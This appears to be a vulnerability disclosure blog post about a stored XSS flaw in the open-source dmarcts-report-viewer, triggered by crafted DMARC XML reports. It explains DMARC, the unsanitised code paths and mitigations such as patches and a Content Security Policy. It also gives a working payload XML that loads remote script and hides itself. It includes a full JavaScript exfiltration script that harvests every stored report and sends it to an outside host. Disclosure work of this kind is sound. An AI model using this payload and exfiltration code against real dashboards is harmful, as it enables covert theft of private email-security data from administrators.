Summary
‘DMARC’d for Death’ in Five Sentences
In the exceptionally aggressive domain (hehe) that is phishing, imagine how valuable every bit of reconnaissance can be against a prized target. Though email authentication protocol parameters are all public information, DMARC reports generated by mail servers giving aggregate or forensic authentication information are intended to be private, seen by email administrators only in local dashboards and visualization utilities.
Now imagine in this cutthroat world that any malicious party can anonymously send blind JavaScript to unsuspecting parsers dedicated to the aforementioned reports and utilities, have that payload persisted in a database, and that payload triggered on an email admin’s device when they view a visualizer tool’s dashboard.
There are numerous affected products available in the open-source marketplace (see below) which allow arbitrary remote code execution on client machines. Ironically, all of these report visualization solutions surrounding a sophisticated authentication protocol seem to openly trust the XML inputs they receive and parse, seldom considering the potential for malicious activities.
What is DMARC?
DMARC is an email security protocol designed to assist in the protection of a domain from email spoofing. Email spoofing is the slick phishing practice of pretending to be someone you’re not in emails on the interwebs and hoping your target(s) will believe you about it.
Before digging into the goals of DMARC, it’s important to understand the two authentication mechanisms it extends:
- SPF: Ensure the sending mail server IP is authorized to send on a domain’s behalf.
- DKIM: Use cryptographic methods to detect forged sender addresses in emails originating from a domain.
The DMARC standard aims to both (1) request a receiving party take a certain action on an email which fails authentication checks, and (2) provide email administrators insights into what’s happening with spoofing of their domains via regularly-submitted reports.
It accomplishes item #1 by setting policies (none, reject, or quarantine) in the published DNS record – along with some other configuration options – that the recipient party should honor. Reject should deny the email or otherwise discard it entirely. Quarantine suggests marking the item as suspicious or as spam. And None is a setting used to disable the action, generally set for reporting-only purposes.
And item #2 is likewise accomplished with the DNS record settings. Receiving MTAs (mail servers) are expected to honor the domain’s request in DMARC to report cases of pass/fail instances based on the configuration. In this manner, the responsibility to report these instances rests with receiving mail servers alone by behest of the sending domain.
Here is the actual published record of _dmarc.xmit.xyz:
v=DMARC1; # Identifies this DNS TXT record as a "DMARC" record
p=reject; # Reject emails which fail both SPF & DKIM
sp=reject; # Subdomains explicitly set to 'reject' as well
pct=100; # This policy affects 100% of emails received
adkim=s; # DKIM Alignment mode ('strict' in this case)
aspf=s; # SPF Alignment mode ('strict' as well)
ri=86400; # Reporting interval of 86,400 seconds (24 hours)
fo=1; # Report ANY auth failures (SPF -OR- DKIM), not only DMARC failures
# Reporting addresses for 'aggregate' and 'failure' feedback respectively
rua=mailto:dmarc-reports@xmit.xyz;
ruf=mailto:dmarc-reports@xmit.xyz
Reports Visualization: Why & How
It’s important for administrators using DMARC to be capable of getting insights into both how their email authentication setup is working for them (ensuring DKIM is passing, for example) and how others are trying to abuse potential gaps or mistakes in SPF/DKIM.
These are the respective purposes of Aggregate and Failure reporting types.
However, DMARC reporting, by its very nature of being an automated process, conjures reports which are not very friendly to human readers. The report is a generated XML document, often compressed into a zip file and given a patterned filename.
The expected XML schema given to parser applications can be found in the DMARC RFC.
You can also find a comprehensive Google commentary on DMARC reports with a sample XML report here.
Because of the complex schema involved in conveying reporting information, it’s necessary for any competent administrator to acquaint themselves with a DMARC report visualization tool that can do the drudgery for them.
Such a tool allows the administrator to easily gather heuristics, browse, search, and possibly export selected reports.
Affected Products
Ancillary product CVEs (ones not in the article header) will be added here as registered:
- Nothing here yet
Here are the affected products (will also be added as applicable). “All versions” means any version of the software published before this article’s timestamp in the header.
All versions of the open-source dmarcts-report-viewer project
You can find a link to these repositories here:
Are Patches Available?
There are indeed pull requests, referenced below for each discovered vulnerability, which try to take a sensible approach to trusting input XML just a bit less when reflecting that data back to the viewer:
A Note on the Contents Henceforth
All article content from this point on centers around the dmarcts-report-viewer project and its parser companion where mentioned. However, the underlying problem is the same across other products mentioned in the above section.
To find how each individual product has this issue remedied, simply crawl through the pull-request links of interest from above.
Scope
Who is Affected?
This vulnerability can affect anyone with a web browser capable of executing arbitrary JavaScript on the page containing the unescaped, stored XSS payload. So, effectively, anyone viewing the dashboard of a visualizer. The payload is typically triggered on page-load without any end-user interaction and can be crafted to execute silently.
In particular, the individuals whom threat actors might seek to exploit are email administrators or other browsers of the (sub-)domain containing the dashboard. These high-value targets might expose some valuable information from their browsers such as unguarded session cookies, location information, and other sensitive metadata.
To reduce the pool of affected users, there are a few mitigations (discussed in more detail later) beyond the patches supplied in relevant pull requests which can be useful in denying injected JavaScript:
- A Web Application Firewall designed to detect the presence of malicious client-side code.
- A strong, regularly-audited Content Security Policy.
The Malicious Party (Threat Actor)
Frighteningly, the threat actor in the case of this vulnerability is an anonymous, remote user who can send a crafted XML report to a public, known email inbox. This can be done from any reputable mail provider, like Gmail, Yahoo!, or their ilk.
Said actor does not need to know anything private about the target exploitee, and can send the same type of payload to multiple public locations in the organization to increase their chances of successful exploitation.
Implications (i.e. the Yielding of Confidentiality)
Exploiting this vulnerability destroys the Confidentiality aspect of the CIA Triad infosec model of data security, specifically because information which is otherwise private can be leaked, harvested, and used maliciously for other more advanced TTPs or phishing schemes.
As the coming demonstration will display, sending the contents of an organization’s private DMARC reports can reveal juicy metadata about an organization’s communications and email security weaknesses.
Vulnerability
This whole segment is a verbose way to say, “The ‘Organization’ and ‘Domain’ fields are 255-character data fields which are fully unsanitized when parsed from DMARC reports and are injected into the main dashboard page without a second glance. These raw strings can arrive from anyone because DMARC reporting mailboxes are by design public destinations.”
This analysis is warranted due to the extent which, by coincidence or by design, this software avoids both SQL injection and reflection attacks very well.
So without further prerequisite crescendo, let’s get down to business!
The Outer Facade
The dmarcts-report-viewer dashboard is incredibly simple to configure and manage with its peer Perl script for parsing reports. This, I believe, is one of the qualities that lends itself to its popularity despite its age and modest interface, because a knowledge or setup of ElasticSearch and/or Grafana isn’t required to start reading DMARC reporting data.
Since it’s an undecorated solution, one can also expect the code to not contain much embellishment or grandiosity.
As such, the viewer application consists of few components:
- dmarcts-report-viewer.php: The primary ingress script used to access the dashboard
- dmarcts-report-viewer-common.php: Static options, structures, and methods imported across scripts (hence the common naming)
- dmarcts-report-viewer-config.php.sample: A self-describing configuration file containing important application options
- Other PHP items: Auxiliary PHP scripts that feed detail information back to the requestor through
JavaScript AJAX
- List: Populates the initial interactive table with paraphrased report information
- Data: Returns more specific data about targeted, individual report data
- dmarcts-report-viewer.js: Said JavaScript (contains client-side code for rendering the dashboard and running the AJAX)
Many of the filtering settings are controlled and persisted by a single cookie stored on the accessing browser.
To be terse, the primary ingress script renders the filters menu with items from the database (this is important), then a naked div elements set, which the JavaScript is expected to populate soon after page-load.
The following excerpt is abridged from here.
// [include common and config, configure, and set up DB connection]
// ...
// This same prototype for domains also happens for organizations.
$sql = "
SELECT DISTINCT domain
FROM report
ORDER BY domain";
$query = $dbh->query($sql);
foreach ($query as $row) {
$domains[] = $row['domain'];
}
// ...
// Renders the initial dashboard and lets JavaScript run the data population with AJAX.
echo html($domains, $orgs, $periods);
The browser client-side then calls on the dmarcts-report-viewer-list.php file to populate the initial table.
The Inner Cogs
It’s important to address exactly how this application populates the response data from the auxiliary PHP scripts: whatever is echo’d back to the AJAX request is set via the DOM items’ innerHTML properties. This essentially means any XSS using script tags will not automatically fire because the script will not load.
However, it is still possible to use an event such as
onmouseover
or the like to achieve
a triggered XSS that’s more stealthy (because raw HTML can be injected here as well).
It probably also opens the door for frame-based attacks, but I didn’t explore that option.
From the bundled JavaScript file:
// The following occurs inside an AJAX response handler after requesting the 'list' table:
document.getElementById("report_list").innerHTML = this.responseText;
document.getElementById("report_data").innerHTML = "";
Then, further down the file when a specific report’s data is being loaded in the breakout panel:
document.getElementById("report_data").innerHTML = this.responseText;
A Missing Sanitization
Despite other protections which serve the application well, even a cursory review of the primary ingress script shows a glaring problem in how the application forms its filtering menus.
foreach ($domains as $d) {
$html[] = "<option " .
( $cookie_options['Domain'] == $d ? "selected=\"selected\" " : "" ) .
"value=\"$d\">$d</option>";
}
foreach ($orgs as $o) {
$html[] = "<option " .
( $cookie_options['Organisation'] == $o ? "selected=\"selected\" " : "" ) .
"value=\"$o\">" .
( strlen( $o ) > 25 ? substr( $o, 0, 22) . "..." : $o ) .
"</option>";
}
And if we look at the database description of these two fields (org and domain):
MariaDB [dmarc]> describe report;
+--------------------+---------------------+------+-----+---------------------+-----------+
| Field | Type | Null | Key | Default | Extra |
+--------------------+---------------------+------+-----+---------------------+-----------+
...
| domain | varchar(255) | NO | MUL | NULL | |
| org | varchar(255) | NO | | NULL | |
...
And finally, a look at whether the Perl script sanitizes any of these inputs from the XML…
my $org = $xml->{'report_metadata'}->{'org_name'};
# ...
my $sql = qq{INSERT INTO report(
mindate,maxdate,domain,org,reportid,email,extra_contact_info,
policy_adkim, policy_aspf, policy_p, policy_sp, policy_pct, raw_xml)
VALUES($dbx{epoch_to_timestamp_fn}(?),$dbx{epoch_to_timestamp_fn}(?),?,?,?,?,?,?,?,?,?,?,?)};
# ...
$dbh->do($sql, undef, $from, $to, $domain, $org, $id,
$email, $extra, $policy_adkim, $policy_aspf,
$policy_p, $policy_sp, $policy_pct, $storexml);
… It’s exactly what it looks like: no validation of the inputs as 255-character strings. These values can be theoretically anything and will be sent to the user requesting the page, exactly as they were received.
Open Inboxes
Part of the vulnerability leans on the simple principle that DMARC reporting inboxes are designated public mailboxes for receiving reports from various mail servers and authorities. This is by design because an administrator would always like to know how, why, and when messages were either spoofed or otherwise misaligned with the authentication policies of their domain(s).
It’s a small footnote undoubtedly, yet an important aspect of the process by which threat actors can send malicious payloads both remotely and anonymously.
Exploitation
Sending a Payload
After setting up a live test environment for the report viewer dashboard, I quickly realized how repetitive the task for testing an exploit might be.
Fortunately, the Perl parsing script has an easy option available which allows XML files to be read directly, rather than fetching them from a mailbox. This helped me in testing to avoid the hassle of sending a payload via email to the intended target each time.
[user@device dmarcts]$ ./dmarcts-report-parser.pl -x /tmp/test.xml
This is how I have tested my initial iterations of the exploit, and I can also of course use the database directly to manipulate parsed data in the org and domain columns.
For this exploit, we are limited to 255 characters no matter what. This is important because it means there isn’t a lot of room for a complex payload. Thus, we’re going to craft an external JavaScript file and reference it in the imported XML.
From the Google review of DMARC reports mentioned much earlier in this article, I’m going to be using their report example, with a slight modification…
<?xml version="1.0" encoding="UTF-8" ?>
<feedback>
<report_metadata>
<org_name>solarmora.com</org_name>
<email>noreply-dmarc-support@solarmora.com</email>
<extra_contact_info>http://solarmora.com/dmarc/support</extra_contact_info>
<report_id>9391651994964110000</report_id>
<date_range>
<begin>1335571200</begin>
<end>1335657599</end>
</date_range>
</report_metadata>
<policy_published>
<domain>bix-business.com" id="haxx"><script src="https://xmit.xyz/malice.js"></script><script defer>document.getElementById("haxx").remove();</script></domain>
<adkim>r</adkim>
<aspf>r</aspf>
<p>none</p>
<sp>none</sp>
<pct>100</pct>
</policy_published>
<record>
<row>
<source_ip>203.0.113.209</source_ip>
<count>2</count>
<policy_evaluated>
<disposition>none</disposition>
<dkim>fail</dkim>
<spf>pass</spf>
</policy_evaluated>
</row>
<identifiers>
<header_from>bix-business.com</header_from>
</identifiers>
<auth_results>
<dkim>
<domain>bix-business.com</domain>
<result>fail</result>
<human_result></human_result>
</dkim>
<spf>
<domain>bix-business.com</domain>
<result>pass</result>
</spf>
</auth_results>
</record>
</feedback>
Let’s quickly break that down:
-
bix-business.com" id="haxx">
: From the A Missing Sanitization section above, complete the string expansion of the domain in the options menu for the filters and ascribe the option an ID attribute so we can hide it later.- The HTML at this point is therefore:
<option value="bix-business.com" id="haxx">
- The HTML at this point is therefore:
-
<script src="..."></script>
: Include an external script to give us practically infinite space to execute whatever arbitrary code we want. The<
is required here in order to be appropriate XML, but the same escape sequence is not necessary for the closing>
angle brackets. -
<script defer>document.getElementById("haxx").remove();</script>
: Execute a deferred script which immediately attempts to hide the option menu item from the domains list. This is to feign stealthiness. :)
Crafting External JavaScript
Now that we have a way to include external code, let’s ramp it up! I’ll explain some code as it’s written:
// Hide ourselves!!!
// A method which seeks any 'td' elements on the page with the "haxx"
// keyword and removes them after a small delay.
// NOTE: I know this can be done with a MutationObserver, but I couldn't get it
// to trigger properly. Thus, this hacky "delay" thing has to do for hiding.
function hideMaliciousXSS()
{
window.setTimeout(() => {
Array.from(document.querySelectorAll("td"))
.filter(x => x.innerHTML.includes("haxx"))
.forEach(x => x.parentElement.remove());
}, 1000);
}
// Hooks into a page function, executing the injected method either
// before or after the original call.
function hookProc(
functionInject,
functionHook,
isPostHook = true,
parent = undefined)
{
if (typeof parent == 'undefined') parent = window;
for (let item in parent)
{
if (parent[item] === functionHook)
{
parent[item] = () => {
if (isPostHook)
{
try { return functionHook.apply(this, arguments); }
finally { functionInject(); }
}
else
{
functionInject();
return functionHook.apply(this, arguments);
}
}
break;
}
}
}
// Execute on script load.
(async function() {
// Hook the functions revolving around showing the main table and the single-item pane details.
// Any time new table or report data is loaded, trigger our hook.
hookProc(hideMaliciousXSS, showReportlist);
hookProc(hideMaliciousXSS, showReport);
// Run a fetch which POSTs (exfiltrates) a Base64 blob of the HTML return of the entire
// organization's collected DMARC list (all of time, all domains, etc etc).
// Also collects the entire document body (though unnecessary).
try {
fetch('dmarcts-report-viewer-report-list.php?d=all&o=all&p=all&dmarc=all&rptstat=all')
.then(async function(r) {
let x = await r.text();
await fetch('https://xmit.xyz/maw.php?s='+window.location.hostname+'&r=generic', {
method: "POST",
mode: "no-cors",
credentials: "include",
body: btoa(x+"|a_unique_separator|"+document.getElementsByTagName('body')[0].innerHTML)
});
});
} catch {}
// Call the malicious site to see where the index left off.
let startAt = 1;
try {
await fetch('https://xmit.xyz/maw.php?s='+window.location.hostname)
.then(async(r) => startAt = (await r.text()));
} catch {}
if (isNaN(startAt)) startAt = 1;
// Start a loop that fetches reports from an index to 100,000 and exfiltrates them.
for (let i = startAt; i < 100000; i++)
{
try {
await fetch('dmarcts-report-viewer-report-data.php?report='+i+'&hostlookup=1&p=all&dmarc=all')
.then(async function(r) {
let x = await r.text();
if (x === 'Unknown report number!') return;
fetch('https://xmit.xyz/maw.php?s='+window.location.hostname+'&r=report&i='+i, {
method: "POST",
mode: "no-cors",
credentials: "include",
body: btoa(x)
});
});
} catch {}
await new Promise(r => setTimeout(r, 100 + ((i % 10) === 0 ? 1000 : 0)));
}
})();
Credit to this StackOverflow article for the awesome assistance hooking JavaScript functions!
Information Disclosure (‘Who Stole the Cookie from the Cookie Jar?’)
Confidentiality status: destroyed.
This was but a small preview of the things which can be done with this arbitrary remote code execution.
It’s just as possible to try avoiding some kind of CSRF or exfiltrating session cookies with a POST of document.cookie data that isn’t HTTP-only.
Mitigation
This section will be a bit brief since resolving the issue is as simple as pulling the patched branch from the pull request (until/if it’s merged).
It’s silly, but if you’d rather wait for a review of the code by the repository owner, there are a few mitigation strategies available.
Be Watchful; Be Purified
This XSS can be sneaky if put into some kind of page-wide HTML element with an
onmouseover
action, for example, though it requires the specific report to be clicked-on and reviewed.
The XSS used in my above sample is visible as an injected payload in the “List” table just before being hidden by the malicious script.
Suffice it to say, even an ounce of caution can go a long way at reducing the impact of this vulnerability.
A Guardian Angel (and all the Straws to Grasp at)
Modern Web Application Filters are a powerful and sufficient resource for automatically detecting both suspicious network traffic and potentially malicious web-page content.
It’s highly likely that any filter worth its salt will detect instances of injected XSS in the body of the generated HTML which the dmarcts viewer produces.
The Strengths of a Content Security Policy (CSP)
Lastly, a Content Security Policy enacted by a web-server can act as another powerful barrier to a client browser downloading scripts sourced outside the local domain. This is wholly feasible because the dmarcts application doesn’t ever require external scripts in order to function.
Enacting a policy as such will reduce the attack surface to the meager 255-character limit of each database field, and will thus make exploitation that much more difficult to achieve.
Final Thoughts
Though this exploit is simple on the surface, its implications run deep for those affected.
The exploit I demonstrated and the vulnerability I assessed in the above sections certainly have much more disastrous potentials when the goals of the threat actor are different.
This should make any administrator shiver to consider they might have malicious code executing on their machines under their noses each time they view their DMARC reporting dashboards.
While the patch and the cause are by no means complicated, this was worth the exploration because it’s a fantastic demonstration of how trivial oversights can risk so much for administrators, even in such an innocuous, innocent tool as this.
It also emphasizes the risk that unvetted utilities can pose to an organization that doesn’t do their own homework first.
In summation though, I really love this project for its humble-yet-featured approach to displaying DMARC reporting data for those who don’t need bells and whistles. I would absolutely recommend it (after it’s fixed) to those who need it!
Until next time, thanks for reading! ~